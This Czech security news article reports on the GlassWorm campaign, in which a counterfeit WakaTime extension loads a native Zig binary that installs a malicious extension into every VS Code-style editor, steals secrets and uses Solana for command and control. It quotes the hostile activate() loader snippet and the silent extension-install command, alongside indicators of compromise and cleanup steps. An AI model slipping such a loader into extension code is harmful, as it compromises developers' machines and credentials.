GlassWorm: nativní dropper na Zig infikuje všechny editory VS Code
Nová fáze kampaně GlassWorm využívá podvržené rozšíření WakaTime v Open VSX k nasazení nativního binárního souboru v jazyce Zig. Tento kód překračuje omezení JS-pískoviště, prohledává systém a nainstaluje škodlivý software do každého IDE kompatibilního s VS Code – od VS Code přes Cursor až po Positron.
Výzkumníci z Aikido Security objevili rozšíření code-wakatime-activity-tracker, které se shoduje s legitímním WakaTime, ale má upravenou funkci activate(). Ta načte binární soubor win.node (Windows) nebo mac.node (macOS), který spouští kompletní cyklus infekce.
Mechanismus startu
Ve funkci activate() dochází k vyvolání nativního doplňku:
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();
Binárky jsou nativní doplňky Node.js (PE32+ DLL na Windows, Mach-O na macOS pro x86_64/arm64), kompilované v jazyce Zig. Jsou vloženy do runtime Node.js s oprávněními operačního systému, čímž obejdou omezení JS-pískoviště. Debugovací symboly ve verzi pro macOS ukazují na projekt /Users/davidioasd/Downloads/vsx_installer_zig.
Následně binárka prochází cesty k IDE:
- Windows:
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd %LOCALAPPDATA%\Programs\Cursor\resources\app\bin\cursor.cmd- Podobně pro VS Code Insiders, Windsurf, VSCodium, Positron.
Na macOS – /Applications/*.app pro stejné editory. Pokud je na počítači více IDE, všechny jsou kompromitovány.
Druhá fáze: manipulace s autoimportem
Binárka stahuje .vsix soubor floktokbok.autoimport z GitHub Releases (klon steoates.autoimport s více než 5 miliony instalací). Instalace prostřednictvím CLI každého IDE:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"
Po instalaci cleanupVsix() odstraní stopy. Druhý dropper přeskakuje ruštinu, používá blockchain Solana pro C2 (adresa z transakcí peněžního účtu). Vyčerpává tajné klíče, nainstaluje RAT a Chrome-infostealer pro ukradení cookies a klávesnice.
Oběti útoku:
- Plusy: nativní kód není viditelný v DevTools; Solana-C2 je odolný vůči blokování domén.
- Mínusy: hashy binárek jsou statické (pokud nejsou znovu zkompilovány); omezeno na Windows/macOS.
Evoluce GlassWorm
Kampaně je aktivní od března 2025: od npm s Unicode-payloadem přes GitHub a VS Code Marketplace. Klíčový posun – použití Zig-adonů místo JavaScriptu, což vyžaduje analýzu na úrovni operačního systému. Infikováno stovky projektů.
Indikátory kompromitace
Rozšíření:
specstudio.code-wakatime-activity-trackerfloktokbok.autoimport
SHA-256 binárek:
- win.node:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02 - mac.node:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
Řetězce: vsx_installer_zig, davidioasd.
Co je důležité
- Nativní Zig-adony obejdou analýzu JS; sledujte soubory
.node/.dllv rozšířeních. - Infekce je řetězová: jedno rozšíření kompromituje všechny forky VS Code na stroji.
- C2 přes Solana: blokování domén je bezúčelné, potřebuje se monitorovat blockchain.
- Přeskakování ruštiny – známka cílené útoky; při detekci rotujte tajné klíče.
- Prevence: ověřujte vydavatele a počet instalací; skenujte EDR složky rozšíření.
Akce k vyčištění
- Zkontrolujte rozšíření ve všech IDE (VS Code, Cursor atd.).
- Odstraňte podezřelé; rotujte SSH klíče, tokeny (npm, GitHub PAT, AWS).
- Vyčistěte Chrome od neznámých rozšíření, odhlášejte se všude.
- Implementujte whitelist rozšíření a EDR pro nativní doplňky.
— Editorial Team
Zatím žádné komentáře.